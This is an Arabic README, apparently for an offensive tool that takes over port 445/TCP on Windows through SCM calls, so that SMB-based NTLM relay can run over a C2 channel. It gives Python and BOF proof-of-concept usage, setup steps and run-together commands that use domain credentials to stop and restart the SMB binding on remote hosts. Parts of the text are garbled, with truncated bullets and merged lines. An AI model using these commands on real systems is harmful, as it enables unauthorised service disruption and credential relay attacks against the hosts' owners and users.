
تنفيذ BOF وPython3 لتقنية إلغاء ربط 445/tcp على ويندوز عبر تفاعلات SCM
تقنية لفك وإعادة ربط منفذ 445/TCP على ويندوز دون تحميل برنامج تشغيل، أو تحميل وحدة نمطية إلى LSASS، أو إعادة تشغيل الجهاز الهدف. تم تنفيذها لتخفيف عبء ترحيل NTLM القائم على SMB أثناء العمل عبر C2. يُناقش التحليل الفني لهذه التقنية بمزيد من التفصيل خلال عرض Relay Your Heart Away: An OPSEC Concious Approach to 445 Takeover في x33fcon.
تمت كتابة إثباتات المفهوم (PoCs) بصيغة Python وصيغة BOF. يستخدم كلاهما RPC عبر TCP (ncacn_ip_tcp) كوسيلة نقل عند استهداف الأجهزة البعيدة.
يرجى الاطلاع على قسم Operations Usage في مقال المدونة المرتبط للحصول على نظرة عامة على الاعتبارات. تشمل أبرز النقاط ما يلي:
srvnet ومعرفة ما إذا كانت هناك تبعيات إضافية يجب أخذها في الاعتبار.ncacn_ip_tcp أو ncacn_np كوسيلة نقل لـ RPC. إذا كانت تستخدم الوسيلة الأخيرة (الأنابيب المسماة)، فلن تتمكن من التواصل عن بُعد مع الهدف لإعادة التمكين.أنشئ بيئة Python افتراضية وقم بتثبيت impacket عبر pip install.
git clone https://github.com/zyn3rgy/smbtakeover.gitcd smbtakeoverpython3 -m virtualenv venvsource venv/bin/activatepython3 -m pip install impacketpython3 smbtakeover.py -hpython3 smbtakeover.py atlas.lab/josh:[email protected] checkpython3 smbtakeover.py atlas.lab/josh:[email protected] stoppython3 smbtakeover.py atlas.lab/josh:[email protected] startbof_smbtakeover localhost checkbof_smbtakeover 10.0.0.21 stopbof_smbtakeover localhost start